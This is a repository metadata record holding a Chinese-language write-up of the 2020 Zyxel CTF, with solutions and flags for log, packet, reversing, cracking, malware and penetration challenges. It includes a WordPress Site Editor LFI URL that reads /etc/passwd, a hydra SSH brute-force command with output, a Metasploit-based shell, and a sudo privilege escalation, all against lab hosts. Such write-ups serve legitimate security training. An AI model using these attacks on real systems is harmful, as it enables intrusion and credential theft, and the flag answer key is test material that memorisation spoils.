{"id":22742206,"url":"https://github.com/heitang/zyxel-ctf-writeup","last_synced_at":"2026-01-11T02:51:26.689Z","repository":{"id":107686292,"uuid":"268301250","full_name":"HeiTang/ZYXEl-CTF-WriteUp","owner":"HeiTang","description":"2020 合勤【榮耀資戰 – 重裝上陣】 WriteUp","archived":false,"fork":false,"pushed_at":"2021-07-20T11:17:56.000Z","size":17,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-03-23T18:50:06.716Z","etag":null,"topics":["writeup"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/HeiTang.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-05-31T14:51:03.000Z","updated_at":"2021-07-20T11:17:59.000Z","dependencies_parsed_at":"2023-03-12T17:30:21.414Z","dependency_job_id":null,"html_url":"https://github.com/HeiTang/ZYXEl-CTF-WriteUp","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/HeiTang%2FZYXEl-CTF-WriteUp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/HeiTang%2FZYXEl-CTF-WriteUp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/HeiTang%2FZYXEl-CTF-WriteUp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/HeiTang%2FZYXEl-CTF-WriteUp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/HeiTang","download_url":"https://codeload.github.com/HeiTang/ZYXEl-CTF-WriteUp/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246274544,"owners_count":20751098,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["writeup"],"created_at":"2024-12-11T00:35:09.675Z","updated_at":"2026-01-11T02:51:26.657Z","avatar_url":"https://github.com/HeiTang.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# 2020 合勤【榮耀資戰 – 重裝上陣】 WriteUp\n\n## 日誌分析\n\n### [2pts] 日誌分析-01\n#### 題目\n- 說明：\n    - Log 為誘捕系統連線資訊，請分析在此份 log 中，駭客最感興趣的前三名服務。flag為前三名服務 port 號，依序合併後的SHA1加密值(小寫)。\n\n- 範例： \n    - 前三名服務 [80,5060,21] -\u003e sha1('80506021') -\u003e eeeb577554eeba6a9481f7e0306a514105724fca\n- 答案格式：\n    - flag{port號合併後的SHA1加密值}\n- 檔案：`exam1.txt.zip`\n\n#### 解法\n1. Linux Shell\n    ```shell=\n    cat exam1.txt | awk '{print $4}'| sort | uniq -c | sort -k 1 -nr | head -3\n    ```\n    ```\n    87670 168.95.4.5:445\n    9700 168.95.4.5:1433\n    3528 168.95.4.5:23\n    ```\n2. flag = sha1(445143323)\n3. **flag{0e2c3e4dd79f9a26e591728c8af4e8347403127a}**\n\n### [2pts] 日誌分析-02\n#### 題目\n- 說明：\n    - Log為誘捕系統連線資訊，請分析在此份log中，攻擊次數最多的IP，flag為IP的SHA1加密值(小寫)\n- 答案格式：\n    - flag{IP的SHA1加密值}\n- 檔案：`exam2.txt.zip`\n\n#### 解法\n1. Linux Shell\n    ```shell=\n    cat exam2.txt | awk '{print $2}'| sort | uniq -c | sort -k 1 -nr | head -1\n    ```\n    ```\n    14424 94.102.49.91:42562\n    ```\n2. flag = sha1(94.102.49.91)\n3. **flag{ffd04754ddf2b714d0779f4d415530550b4e4b91}**\n\n### [6pts] 日誌分析-03\n#### 題目\n- 說明：\n    - 此份Log記錄者駭客入系統的軌跡，駭客似乎在某個公共服務中下載惡意程式，裡面藏有flag。\n- 答案格式：\n    - flag{惡意程式裡面藏的flag}\n- 檔案：`exam3.txt.zip`\n\n#### 解法\n1. Linux Shell\n    ```shell=\n    cat exam3.txt L grep \\/\\/\n    ```\n![](https://i.imgur.com/0OA1LNG.png)\n\n2. \n![](https://i.imgur.com/0lST4w5.jpg)\n\n3. **flag{uEXC6fOPQBgJjUL}**\n\n## 封包分析\n\n### [2pts] 封包分析-01\n#### 題目\n- 說明：\n    - 請分析題目所給網路封包檔案，判斷攻擊者使用了什麼攻擊手法\n- 範例：\n    - CVE-2020-0606\n- 答案格式：\n    - flag{CVE-XXXX-XXXX}\n- 檔案：`lab01.pcapng.zip`\n\n#### 解法\n1.\n![](https://i.imgur.com/JwwZMaS.png)\n2. **flag{CVE-1999-0532}**\n\n### [6pts] 封包分析-02\n#### 題目\n- 說明：\n    - 某公司的資料疑似外洩，這期間剛好錄製了相關的網路行為。請嘗試著分析這中間所發生的行為，並嘗試著尋找外洩的機密檔案。\n- 答案格式：\n    - flag{機密檔案內容}\n- 檔案：`lab02.pcapng.zip`\n\n#### 解法\n![](https://i.imgur.com/VdXorwT.png)\n**flag{7a0f7e5ee037244f6dbb6caf464b56}**\n\n### [6pts] 封包分析-03\n#### 題目\n- 說明：\n    - 這是某公司的電腦，使用者發現電腦怪怪的，似乎被駭客入侵了。試著分析一下這台電腦發生了什麼事情，請協助找到後門使用來登入的帳號 。\n- 答案格式：\n    - flag{後門登入帳號}\n- 檔案：`lab03.pcapng.zip`\n\n#### 解法\n![](https://i.imgur.com/ncq0nzb.png)\n![](https://i.imgur.com/enirwi7.png)\n**flag{hellow0rld9487}**\n\n## 逆向工程\n\n### [2pts] 逆向工程-01\n#### 題目\n- 說明：\n    - 密碼猜猜看，猜對我的密碼就送你Flag ( ^.＜ )\n- 答案格式：\n    - flag{我的密碼}\n- 檔案：`guess.zip`\n\n#### 解法\n1.  \n    ```python=\n    from pwn import *\n    r = process(\"./guess\")\n\n    r.sendline(str(123))\n    qq = r.recvline()\n    qq = qq.split('is: ')\n    ans = int(qq[1])\n    r.sendline(str(ans))\n    r.interactive()\n    ```\n    - rxms{8ycAkPT1S0ejl7R4}\n2. Caesar(rxms{8ycAkPT1S0ejl7R4})\n3. **flag{8mqOyDH1G0sxz7F4}**\n\n### [6pts] 逆向工程-02\n#### 題目\n- 說明：\n    - 1 ~ 1073741824猜一個幸運數字，猜對即可取得Flag\n- 答案格式：\n    - flag{xxxxxxxxxx}\n- 檔案：`lucky_number.zip`\n\n#### 解法\n??? \n在程式將使用者輸入資料進行 cmp 時，把兩邊data 改成一樣ㄉ就好惹w\n\n## 密碼破解\n\n### [2pts] 密碼破解-01\n#### 題目\n- 說明：\n    - 這是攻擊者從某台伺服器竊取的shadow檔，請嘗試著幫我把這位使用者的密碼解開來，密碼即是flag\n- 答案格式：\n    - flag{password}\n- 檔案：`jack-shadow.zip`\n\n#### 解法\n??? 爆不出來\n\n\n### [2pts] 密碼破解-02\n#### 題目\n- 說明：\n    - 小文想給巧克力一個寓言故事參考，附件為寓言故事。\n- 答案格式：\n    - flag{xxxxxxxxxx}\n- 檔案：`story.txt.zip`\n\n#### 解法\n1. 解壓縮後，將 story.txt Base64 後，擷取部分字串\n    \n    ```\n    wcrx{iuLe3Ywfo7G45Kds}\n    ```\n2. Caesar(wcrx{iuLe3Ywfo7G45Kds})\n    ```\n    flag{rdUn3Hfox7P45Tmb}\n    ```\n3. **flag{rdUn3Hfox7P45Tmb}**\n\n\n## 惡意程式分析\n- VM下載連結： https://pse.is/malware ， 解壓縮密碼：malware\n\n- **警告!!! 本題目為真實惡意程式，存在惡意連線行為!!! 請使用者謹慎操作，在斷網隔離環境中進行分析，並關閉防毒軟體防護機制以避免阻擋。**\n\n### [2pts] 惡意程式分析-01 \n#### 題目\n- 說明：\n    - 請分析名稱為 malware01 的惡意程式，並找出相關行為及計算出 Flag\n    - \n- 答案格式：\n    - flag{惡意網域名稱的SHA1值(小寫)}\n- 檔案：`malware01.zip`\n\n#### 解法\n![](https://i.imgur.com/w67ZUBD.png)\n\nflag = sha1(url)\n**flag{78eb3cfa4aba8060340c0486765160e99e4fa69f}**\n\n### [2pts] 惡意程式分析-02\n#### 題目\n- 說明：\n    - 請分析名稱為 malware02 的惡意程式，並找出相關行為及計算出 Flag\n- 答案格式：\n    - flag{實際執行的惡意程式SHA1值(小寫)}\n- 檔案：`malware02.zip`\n\n#### 解法\n![](https://i.imgur.com/sO03a8D.png)\n**flag{fa5c79321dd4cc2fea795d6ebe2e823abe33ca6f}**\n\n\n### [6pts] 惡意程式分析-03\n#### 題目\n- 說明：\n    - 請分析名稱為malware03的惡意程式，並找出存在於中繼站的Flag\n- 答案格式：\n    - flag{中繼站的Flag}\n- 檔案：`malware03.zip`\n\n#### 解法\n1. https://app.any.run/tasks/0cf60ad1-99eb-45a0-83ab-730c3bc3c111\n2. http://10.100.220.41:8443/\n3. ![](https://i.imgur.com/ZWYkFdf.png)\n4. https://downzen.com/en/windows/gandcrab-v5-1-decryptor/download/\n5. **flag{a3bbc9af09f6acc0d64c3b3fe4becba5c671633d}**\n\n\n## 綜合題型\n### [2pts] 綜合題型-01\n#### 題目\n- 說明：\n    - 請尋找存在於此 IP(10.100.229.20) 內的Flag\n- 答案格式：\n    - flag{尋找到的flag}\n\n#### 解法\n![](https://i.imgur.com/5waSk4i.png)\n![](https://i.imgur.com/z0lKRql.png =400x)\n**flag{e572f8c5ea06ad8f1e2c3f441e9a8f1b}**\n\n### [6pts] 綜合題型-02\n#### 題目\n- 說明：\n    - 請挑選此IP範圍(10.100.229.24 - 10.100.229.32)內的任何一台弱點主機進行滲透，取得使用者的登入帳號，名稱的開頭好像是flag喔～\n- 答案格式：\n    - flag{username}\n\n#### 解法\n1. wpscan\n    ```\n    [+] site-editor\n     | Location: http://10.100.229.26/wp-content/plugins/site-editor/\n     | Latest Version: 1.1.1 (up to date)\n     | Last Updated: 2017-05-02T23:34:00.000Z\n     |\n     | Detected By: Urls In Homepage (Passive Detection)\n     |\n     | [!] 1 vulnerability identified:\n     |\n     | [!] Title: Site Editor \u003c= 1.1.1 - Local File Inclusion (LFI)\n     |     References:\n     |      - https://wpvulndb.com/vulnerabilities/9044\n     |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422\n     |      - https://seclists.org/fulldisclosure/2018/Mar/40\n     |      - https://github.com/SiteEditor/editor/issues/2\n     |\n     | Version: 1.1.1 (80% confidence)\n     | Detected By: Readme - Stable Tag (Aggressive Detection)\n     |  - http://10.100.229.26/wp-content/plugins/site-editor/readme.txt\n    ```\n\n\n2. Get PoC\n    - Source: https://seclists.org/fulldisclosure/2018/Mar/40\n\n    - http://\u003chost\u003e/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd\n\n3. LFI\n    - http://10.100.229.26/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd\n    \n    ![](https://i.imgur.com/eUS8RBA.png)\n\n4. **flag{flag95276ca8d6f}**\n    \n\n### [10pts] 綜合題型-03\n#### 題目\n- 說明：\n    - 請挑選此IP範圍(10.100.229.10 - 10.100.229.19)內的任何一台弱點主機，並找出存在於網站系統內的Flag\n- 答案格式：\n    - flag{主機系統內的flag}\n\n#### 解法\nhttps://www.hackercoolmagazine.com/hacking-easy-file-sharing-http-server-metasploit/\n\n```\nC:\\Documents and Settings\u003edir\ndir\n Volume in drive C has no label.\n Volume Serial Number is 3C20-DAF1\n\n Directory of C:\\Documents and Settings\n\n04/26/2020  05:50 PM    \u003cDIR\u003e          .\n04/26/2020  05:50 PM    \u003cDIR\u003e          ..\n07/19/2017  07:55 PM    \u003cDIR\u003e          Administrator\n04/26/2020  05:50 PM    \u003cDIR\u003e          All Users\n04/26/2020  07:31 PM    \u003cDIR\u003e          ec2-user\n04/26/2020  05:50 PM    \u003cDIR\u003e          Files\n               0 File(s)              0 bytes\n               6 Dir(s)  81,487,785,984 bytes free\n\nC:\\Documents and Settings\u003ecd Files\ncd Files\n\nC:\\Documents and Settings\\Files\u003edir\ndir\n Volume in drive C has no label.\n Volume Serial Number is 3C20-DAF1\n\n Directory of C:\\Documents and Settings\\Files\n\n04/26/2020  05:50 PM    \u003cDIR\u003e          .\n04/26/2020  05:50 PM    \u003cDIR\u003e          ..\n04/26/2020  05:50 PM    \u003cDIR\u003e          Admin\n               0 File(s)              0 bytes\n               3 Dir(s)  81,487,785,984 bytes free\n\nC:\\Documents and Settings\\Files\u003ecd Admin\ncd Admin\n\nC:\\Documents and Settings\\Files\\Admin\u003edir\ndir\n Volume in drive C has no label.\n Volume Serial Number is 3C20-DAF1\n\n Directory of C:\\Documents and Settings\\Files\\Admin\n\n04/26/2020  05:50 PM    \u003cDIR\u003e          .\n04/26/2020  05:50 PM    \u003cDIR\u003e          ..\n04/25/2020  08:03 PM                40 secret.txt\n               1 File(s)             40 bytes\n               2 Dir(s)  81,487,785,984 bytes free\n\nC:\\Documents and Settings\\Files\\Admin\u003edir secret.txt\ndir secret.txt\n Volume in drive C has no label.\n Volume Serial Number is 3C20-DAF1\n\n Directory of C:\\Documents and Settings\\Files\\Admin\n\n04/25/2020  08:03 PM                40 secret.txt\n               1 File(s)             40 bytes\n               0 Dir(s)  81,487,785,984 bytes free\n\nC:\\Documents and Settings\\Files\\Admin\u003etype secret.txt\ntype secret.txt\n\nFLAG{a16bf4ca10e9a63da75d6260d0619f99}\nC:\\Documents and Settings\\Files\\Admin\u003e\n```\n**flag{a16bf4ca10e9a63da75d6260d0619f99}**\n\n### 綜合題型-04 ==10pts==\n#### 題目\n- 說明：\n    - 請挑選此IP範圍(10.100.229.10 - 10.100.229.19)內的任何一台弱點主機，並找出存在於郵件系統內的Flag\n- 答案格式：\n    - flag{主機系統內的flag}\n\n#### 解法\n??? 迷失在茫茫資料夾中\n\n\n\n## 滲透測試\n### [6pts] 滲透測試-01\n#### 題目\n- 說明：\n    - 請挑選此IP範圍(10.100.229.34 - 10.100.229.43)內的任何一台弱點主機，入侵後取得家目錄下的flag檔案。\n- 答案格式：\n    - flag{找到的flag}\n\n#### 解法\n1. 先用 hydya 爆破\n    ```\n    hydra -l admin -P ~/tool/fuzzdb/wordlists-user-passwd/rockyou.txt -t 50 ssh://10.100.229.34                                       (-127) ↵  16:15:30\n    Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.\n\n    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-30 16:18:02\n    [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n    [DATA] max 50 tasks per 1 server, overall 50 tasks, 14344398 login tries (l:1/p:14344398), ~286888 tries per task\n    [DATA] attacking ssh://10.100.229.34:22/\n    [22][ssh] host: 10.100.229.34   login: admin   password: 123456\n    1 of 1 target successfully completed, 1 valid password found\n    [WARNING] Writing restore file because 26 final worker threads did not complete until end.\n    [ERROR] 26 targets did not resolve or could not be connected\n    [ERROR] 50 targets did not complete\n    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-30 16:18:08\n    ```\n2. 用 admin/123456 可以成功登入\n    ```\n    admin@ubuntu:~$ ls\n    flag.txt\n    admin@ubuntu:~$ cat flag.txt\n    cbf7a0ffec715232e38aa5b120994bcc\n    ```\n3. **flag{cbf7a0ffec715232e38aa5b120994bcc}**\n\n### [10pts] 滲透測試-02\n#### 題目\n- 說明：\n    - 請挑選此IP範圍(10.100.229.34 - 10.100.229.43)內的任何一台弱點主機，入侵後取得root家目錄下的flag檔案\n- 答案格式：\n    - flag{找到的flag}\n \n#### 解法\n1. 先執行 sudo -l 看看 `sudo` 指令能夠執行什麼權限\n    ```\n    admin@ubuntu:~$ sudo -l\n    [sudo] password for admin: 123456\n    Matching Defaults entries for admin on ubuntu:\n        env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin\n\n    User admin may run the following commands on ubuntu:\n        (ALL) ALL\n    ```\n2. 發現 sudo 竟然可以執行所有指令，意味著可以直接使用 `sudo su` 提權\n    ```\n    admin@ubuntu:~$ sudo su\n    root@ubuntu:/home/admin# cd /root\n    root@ubuntu:~# ls\n    flag.txt\n    root@ubuntu:~# cat flag.txt\n    566b701a1628043018227f28f3ef24d3\n    ```\n3. **flag{566b701a1628043018227f28f3ef24d3}**\n\n## 數位鑑識\n### [10pts] 數位鑑識-01 \n#### 題目\n\n- 說明：\n    - 請找出惡意程式下載連結及常駐於系統的惡意程式\n- 答案格式：\n    flag{SHA1(惡意程式下載連結+惡意程式的雜湊值(SHA256))}\n- 範例：\n    ```\n    SHA1(http://malware.ru+673ca3e002aa0991096c32f6c40f2afb2674ae353ac0e21f692c29c6369e9712)\n    ```\n- 檔案：`forensics.vmem`\n    \n#### 解法\n???\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fheitang%2Fzyxel-ctf-writeup","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fheitang%2Fzyxel-ctf-writeup","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fheitang%2Fzyxel-ctf-writeup/lists"}